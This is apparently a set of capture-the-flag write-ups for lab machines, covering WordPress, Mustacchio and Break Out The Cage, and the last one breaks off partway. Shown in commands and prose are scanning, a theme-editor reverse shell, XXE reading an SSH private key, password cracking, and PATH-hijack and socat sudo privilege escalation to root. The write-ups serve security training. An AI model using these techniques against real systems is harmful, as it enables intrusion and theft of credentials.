![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-McezL9oQksb3rEcmkqU%2Fimage.png?alt=media\&token=915ffb13-6133-4206-809e-a4673ab50086)

Lets check these directories out, first `/wordpress`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-McezhfVNBnkrRN1RWbo%2Fimage.png?alt=media\&token=ebd373ec-dd00-4849-a353-7c6795ea56ff)

Its a wordpress site, we can explore this but first lets look at the other directory we found

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-Mcezx0H9CUnhPCGMPmn%2Fimage.png?alt=media\&token=f7ee444b-a2ae-419b-816b-68debcf27add)

There is nothing interesting, lets look at the source code, scrolling down we see something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-Mcf-OaSOezw6jvx_qdx%2Fimage.png?alt=media\&token=a2a7a412-b368-4ef6-92d6-63c895a0f828)

It looks like a cipher, lets crack it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mceuszphqa9azlyVHXN%2F-Mcf-kH3vvadlh5PnfCH%2Fimage.png?alt=media\&token=1bae5268-d6b7-4a29-a7ab-7e12e4503971)

Looks like a password, but we do not have a username to login through ssh.

Lets go back to the wordpress site. We have username `elyana`, but the password is not the right one.

Lets run `wpscan` to find information about this site.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcf0sDQu_qwwFOVPDCR%2F-Mcf1idt9BDLbrSf-lra%2Fimage.png?alt=media\&token=e262dda6-881a-41d5-875d-77bf3da94ab3)

Looking through the output, we see 2 vulnerabilities

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcf0sDQu_qwwFOVPDCR%2F-Mcf2-o8aHzut9a-ItXp%2Fimage.png?alt=media\&token=371d4aad-4374-4ddf-b2f3-3959d3d63f51)

We have a LFI vulnerability and a Arbitrary File Upload vulnerability. Lets first login with the credentials we found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcf0sDQu_qwwFOVPDCR%2F-McfA8UH1wJ509lbYlx8%2Fimage.png?alt=media\&token=329b771d-d4b8-4a41-a0d6-17649e0c781e)

Once logged in, we can go to Appearance > Theme Editor and replace the `404.php` file with a reverse shell and click update

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfAHTdbrbVxAcBZeNs%2F-McfAvdSoiYPHGvNybYd%2Fimage.png?alt=media\&token=5b0f4a4d-e74b-4928-bbeb-3834c2bc3b13)

Once we do that, we have to start a netcat listener.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfAHTdbrbVxAcBZeNs%2F-McfB7DrB0MLukgFy2AL%2Fimage.png?alt=media\&token=b2b8d61f-dfc2-44c3-8080-b30f6fb99ca8)

Now we visit this URL to get the reverse shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfAHTdbrbVxAcBZeNs%2F-McfBVBYTNaySXovVHn1%2Fimage.png?alt=media\&token=d9b209dd-bf5f-4562-99e5-1c015b531b38)

Lets stabilize the shell.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfAHTdbrbVxAcBZeNs%2F-McfBsB8IYOuO8EXuOCE%2Fimage.png?alt=media\&token=22710579-7b1a-485b-85a4-fb49ac075779)

Lets look at the files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfAHTdbrbVxAcBZeNs%2F-McfCKM2QJnTbwQi7DOM%2Fimage.png?alt=media\&token=0544f90f-cb2f-464f-b84b-8d5b868a8a6f)

So the password for the user `Elyana` is hidden on the system.

Lets find all the files that belong to the user elyana

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfClcsx0BHTtpetSSM%2Fimage.png?alt=media\&token=e84fc6a7-99a7-4c4d-b4e4-647acf25a589)

This is an interesting file, lets read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfCrXtNLLD1yFSNHj1%2Fimage.png?alt=media\&token=ab756734-1de3-487c-86f5-2604015372cf)

We have the username and password, lets login through ssh

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfCzcFOevE8Bq1pza6%2Fimage.png?alt=media\&token=96bc5f3e-7daf-4b8b-8250-4c5c08112f35)

We can now read the user flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfD63M1Gm_vU_z7dk0%2Fimage.png?alt=media\&token=2c61efed-2071-474b-9578-cf1756591e65)

Looks like it is encoded, lets decode it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfDOSS_8v3XTHeEQTR%2Fimage.png?alt=media\&token=a4c24365-8d14-4891-9471-282208314f64)

## Privilege Escalation

Lets run `sudo -l`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfDYeLWauFujQdWRsy%2Fimage.png?alt=media\&token=a039067c-6329-497a-8c63-1a53b7d3c289)

Looks like we can run `socat` as sudo, lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/socat/#sudo)and the get the command to privilege escalate to root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfDm420F7dF31_nhoM%2Fimage.png?alt=media\&token=a82725d5-9795-47e8-80d4-496a4f403f06)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfDoK1FkL-ecaw3Die%2Fimage.png?alt=media\&token=9dc327d9-8285-46d0-9b67-4092e39e159c)

We are root. We can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfDxNT87OKFzik52kw%2Fimage.png?alt=media\&token=068bd8e1-ef7e-4945-97ce-308d7a471ca2)

Lets decode this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McfCP15WbtBTFAK6iLG%2F-McfE3eaD6dcnJnKzL29%2Fimage.png?alt=media\&token=99ed3d1e-559c-4faf-9437-ecdaf201ee0a)


# Gotta Catch'em All

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceaYpXWttRXXDEVegh%2F-Mcel3TkueeW77NHnGkk%2Fimage.png?alt=media\&token=3afd5a23-3290-4016-b818-5c0407d77c57)

## Scanning

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.19.228
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaWahiVzuql3XI9UcV%2Fimage.png?alt=media\&token=96ceafe6-4ce0-45ee-9692-b6566fe6bdee)

Detailed Nmap Scan :&#x20;

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.19.228
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceaYpXWttRXXDEVegh%2F-Mcelk1SDYChlAM5Au4F%2Fimage.png?alt=media\&token=deec4405-62f1-468d-9e2c-c51d468aff40)

## Enumeration

Lets check the website on Port 80

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcem8ylJIw931A1dn0O%2F-McemNCO7RCtnCZJCQuR%2Fimage.png?alt=media\&token=21d286f3-74cd-4e0c-b272-071488fafaad)

Its a Apache 2 page, lets run a `gobuster` scan to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.19.228/
```

After the scan finished, we did not find any hidden directories

Looking at the source code of the page, we find something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcem8ylJIw931A1dn0O%2F-McemlVPuUtgE8jWd9Tc%2Fimage.png?alt=media\&token=12dcad09-8870-40fe-9166-c75430948107)

They look like `credentials` , lets login through `ssh`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-McepXtAs0J8dXD5s7ie%2Fimage.png?alt=media\&token=29db4d90-ec3d-4b92-87b5-5b3f7d81c505)

While exploring the system, we find the answer to the first question in the room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-MceqIV2zk-JaAGS1I7k%2Fimage.png?alt=media\&token=b44ee726-5b1a-4b77-84a1-1cc9a4467e96)

## Privilege Escalation

Looking through the machine, we see something interesting in the `Videos` directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-MceqyLMVr7GNXGnWhdy%2Fimage.png?alt=media\&token=5b83163f-de6a-423f-96dc-2986ecd2e983)

Lets check the file in the directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-McerEmFEb8JNhgU7Ofl%2Fimage.png?alt=media\&token=4297e79b-1227-450e-8a41-1b107718d82b)

Looks like we have credentials, lets switch users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-McerLwQtonqcgRYT6AT%2Fimage.png?alt=media\&token=ed50c14a-87d2-4a7e-b4eb-e66f5007a7ae)

Looking at the permissions of the files in the `/home` directory, we can see that we can now read the file that we couldn't before.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-Mcerr67DMoSH2pDBJFX%2Fimage.png?alt=media\&token=578400e5-6f33-4f26-9f0b-20cb71a800f3)

This is the answer for the fourth question of this room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-Mces617aV-86hfwxEit%2Fimage.png?alt=media\&token=87cd8838-261a-4b45-ad39-6b3b4490d469)

Lets run `sudo -l` to see what we can run as other users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-McetSBjxsFIGDN8BVWB%2Fimage.png?alt=media\&token=ad1a6177-53b5-4d33-bc6e-86d1f318b490)

Looks like we can run `ALL`, so lets switch users to root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-McetZ1ZsZDxH0TVTxR0%2Fimage.png?alt=media\&token=95ff610f-1efc-4824-b21c-c54aa34eb821)

We are now root, lets look for all the files that we did not find yet

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-Mceu1rKJwUag0idbEzb%2Fimage.png?alt=media\&token=17948f76-ba41-474e-9043-22b23b5a999d)

The files are encrypted, so lets crack them.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-MceuR4gzYGIosArWnVN%2Fimage.png?alt=media\&token=4007bb0d-3e50-45e1-9e96-3887e2a5e38b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcemx_N4OX8HGWjqhk2%2F-MceudHyIQMea-m2lPbt%2Fimage.png?alt=media\&token=c94020cb-5827-4818-a803-3f9b7abded54)


# Mustacchio

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaTHFFXZxqsN2tZVzm%2F-McaUA11Xfw7LrQizWpJ%2Fimage.png?alt=media\&token=c1c6e029-c49c-4296-ad5f-c22159be86bc)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.193.190
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaTHFFXZxqsN2tZVzm%2F-McaUIC6rLESTxhnNE7M%2Fimage.png?alt=media\&token=4bfdbaee-c0ea-4f50-94d7-682f700eba1d)

Just in case lets run a scan on all ports

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaWahiVzuql3XI9UcV%2Fimage.png?alt=media\&token=96ceafe6-4ce0-45ee-9692-b6566fe6bdee)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80,8765
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80,8765 -oN nmap 10.10.193.190
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaTHFFXZxqsN2tZVzm%2F-McaW8wIixAZ5zQ63Jsn%2Fimage.png?alt=media\&token=c1fb1122-3fe6-4ca1-9676-2f2a7c6ca9be)

## Enumeration&#x20;

### Port 80: HTTP

Lets visit the site on port 80

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaTHFFXZxqsN2tZVzm%2F-McaUdXZ6Pzv_aJVEzn0%2Fimage.png?alt=media\&token=cfb14c44-81c7-445d-967e-2183cc44eb24)

Its a well made website, Lets run a `gobuster` scan.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.193.190/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaTHFFXZxqsN2tZVzm%2F-McaVz8n1BCzNCyIz1-3%2Fimage.png?alt=media\&token=ae14d96b-5f37-41f1-93cf-68e2025c3d69)

There is a interesting directory called `custom`, lets check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaTHFFXZxqsN2tZVzm%2F-McaWEqyZzMD1bZ1fKav%2Fimage.png?alt=media\&token=3e9be855-7f1d-4a1f-9152-9e1682ecfc64)

We have two folders, after checking them out, the `js` folder has something interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaTHFFXZxqsN2tZVzm%2F-McaWQrlDnsgHixBmFOx%2Fimage.png?alt=media\&token=8e40156c-0d0c-4bd4-98b5-b840c547cb2a)

Lets Download this `users.bak` file, it has I think credentials, so lets see what type of file it is.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaWtGBaiA20Sw7QXdU%2Fimage.png?alt=media\&token=3c9a8b9e-ed36-4b51-a7f3-bd2a779f7e36)

Its a SQLite file, lets open this file with `sqlitebrowser`

```
sqlitebrowser users.bak
```

Looking through the application, we can see the hashed password for the user `admin`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaXGbn8kr6JoDjmXra%2Fimage.png?alt=media\&token=8c01128b-c112-4749-91a6-f042f8c4f883)

Lets crack this. First save it in a file called `hash`, and then lets use `john the ripper` to crack the password.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaXeFZNe_oPwT0Jmw7%2Fimage.png?alt=media\&token=99beb045-acc6-4d75-9d53-2704b1c26377)

We have the password, but we do not have a place to login, lets check the other http page running on the machine

### Port 8765: HTTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaXx1Dhlc9ROWvk3qJ%2Fimage.png?alt=media\&token=d98a33be-d4b0-4926-9d49-b8aac4e3b151)

We have a login page, lets login with the credentials we just found

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaY6TKtFI8YUWezr4T%2Fimage.png?alt=media\&token=bde28088-930a-4b32-9553-db0049e23c8d)

It is asking us to submit a comment, lets do this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaYYh1dlTVwI-G2bbB%2Fimage.png?alt=media\&token=683c882a-0a63-417f-83f0-346f888c98d7)

We do not see what is happening clearly, so lets capture the request on `burp` and check what is happening on the backend of this website.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaYztCeOvUmX2-nXzI%2Fimage.png?alt=media\&token=acd394ad-7147-4b41-a7e5-b9fd2d98520b)

Lets send this to `repeater` so that we can test different requests. Lets submit the request.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaZE40O-t2CtXkvqkQ%2Fimage.png?alt=media\&token=59b75f4f-351f-4a58-9979-3dfeff3c0f8a)

Ok we have several interesting thing to look at.

* We have a username `Barry`
* The URL `/auth/dontforget.bak`
* The POST parameter is called `xml`
* The function `checktarea`

First lets look at the `/auth/dontforget.bak` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaZtP_S_b7cQ_WXeY1%2Fimage.png?alt=media\&token=d612fdab-20f5-42d2-bd94-c76de0ed17da)

Ok, it contains xml. Lets check if it is vulnerable to `XXE`&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McabpJ6KwsSq9EYrz7n%2Fimage.png?alt=media\&token=324ebf83-2744-4407-813c-2c97f58e52ed)

## Exploitation

We can see that it is vulnerable , now lets try to read the `id_rsa` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McaeloXmtVWCKotNAJl%2Fimage.png?alt=media\&token=3d65974a-20ee-46d2-9624-9286f1e16499)

Once we submit this we get a response

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-Mcaes_c5CSZtw1WWHi9%2Fimage.png?alt=media\&token=2dd1b5e4-c4f9-48e5-aa79-7a49aa952651)

Its a private key, lets copy it, we can copy it easier by going to the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-Mcaf1YjXfuzm6MF2O9K%2Fimage.png?alt=media\&token=cd4f8a11-6464-495e-9d5d-3d88b3f5084c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-Mcaf9r2niN_bVzWXkbH%2Fimage.png?alt=media\&token=0360b31f-04cf-489f-a4d9-900103959dd4)

Once saved in a file called `id_rsa`, lets crack the password using `john the ripper`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McafTYCdi8apQbVwzwv%2Fimage.png?alt=media\&token=ecfb86e7-c562-4158-8e6b-d5c20790a8b0)

Now we have the password for the user barry, lets login through ssh. But first we need to set the right permission for the `id_rsa` file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-McafpC9tb9ubdO_EPb8%2Fimage.png?alt=media\&token=996074b6-774c-4a8c-8d86-2dbae82a9fa3)

We can read the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaWWwtrZqvWri3cbKB%2F-Mcag2Ybow93lsXvZPp6%2Fimage.png?alt=media\&token=50621fda-aa6d-4b24-bc50-08aa86ee1db5)

## Privilege Escalation

Lets look for `SUID bits`.&#x20;

```
find / -perm -u=s -type f 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McagHlJvKl-GfAuldS9%2F-McaiXBTu3dvuX5WQOLz%2Fimage.png?alt=media\&token=e64ef34c-b59b-4676-984f-8b198a6c36d3)

The `/home/joe/live_log` file looks interesting as it is not a common `SUID` file.

Lets look at what the file is doing

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McagHlJvKl-GfAuldS9%2F-Mcaj7mA8GEHQGv-eNni%2Fimage.png?alt=media\&token=10549d39-d9b9-4c98-8761-065f8400c96f)

They are logs, lets use the `strings` command to see more information on the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McagHlJvKl-GfAuldS9%2F-McajLYxnnMT0zIcMvrg%2Fimage.png?alt=media\&token=a7024172-f2d5-403d-83e6-4c881bde7bab)

The highlighted lines look interesting.

Looking at it for a while, we can see that the tail command is used to show the content of the `/var/log/nginx/access.log` file, we can exploit this by creating our own tail binary, and execute it so that we can get root on the machine. We can do this by changing the `PATH` variable to the directory we mention.

Lets first make a file called `tail` in the `/home/barry` directory and add these lines of code.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McajPq3g0Ccz4WuDNQq%2F-McalAd31xv9SNjKp2pq%2Fimage.png?alt=media\&token=b178d2d6-e1c0-438f-a754-0b1583304936)

Now lets give the file all permissions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McajPq3g0Ccz4WuDNQq%2F-McalEgOhRc1r1J-lUUG%2Fimage.png?alt=media\&token=142cbeab-1abf-4f35-bf4c-bd91144cb94a)

Now lets set the `PATH` variable to `/home/barry` as the tail file is here.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McajPq3g0Ccz4WuDNQq%2F-McalWD_dVUhUdCK861G%2Fimage.png?alt=media\&token=d73675cf-c375-4c9c-9e25-476b0cbf179d)

Now in theory if we run the `live_log` file, we should get root, so lets do that.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McajPq3g0Ccz4WuDNQq%2F-McaljUC6PZv0Vi7HRh8%2Fimage.png?alt=media\&token=f5a77d57-4fdc-416d-a6a2-215af876269e)

We are root. We can also read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McajPq3g0Ccz4WuDNQq%2F-McalrFYnJt-CAbbieY1%2Fimage.png?alt=media\&token=1ab81427-e28f-4c52-9fe7-173d89aafa21)


# Break Out The Cage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_9q7b6bERvlwKWgVh%2F-Mc_gO-d_U-NjDklPL15%2Fimage.png?alt=media\&token=bd44de43-f7b5-4508-abcd-2688238914c7)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.96.253
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gPUKW7k3u9LjpSha%2F-Mc_go0lKUWN1_HtivwB%2Fimage.png?alt=media\&token=04888048-1ac3-4076-b6d1-43c32897f038)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.96.253
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gPUKW7k3u9LjpSha%2F-Mc_gvBB95Ee5LtYU1Zz%2Fimage.png?alt=media\&token=39e9ad66-4ecc-4f98-b87c-622b226dea27)

## Enumeration

### Port 21: FTP

Anonymous login is allowed, so lets go check it out and download the files on the server

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_hZwWRw_Ng05qhNPs%2Fimage.png?alt=media\&token=d5fd0cf2-b064-4dad-b77b-cb627124a6ed)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_hh8C7jG5H4WCH23T%2Fimage.png?alt=media\&token=21024aba-f350-4001-b83b-d1ab5f52c4cd)

Looks like its encrypted, lets crack it using [CyberChef](https://gchq.github.io/CyberChef/)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_i6K92LJk-gwj_gEh%2Fimage.png?alt=media\&token=c6788d78-9c11-4368-a60f-b5298f678ce4)

It looks like it has been encrypted twice, lets find out what this says too.

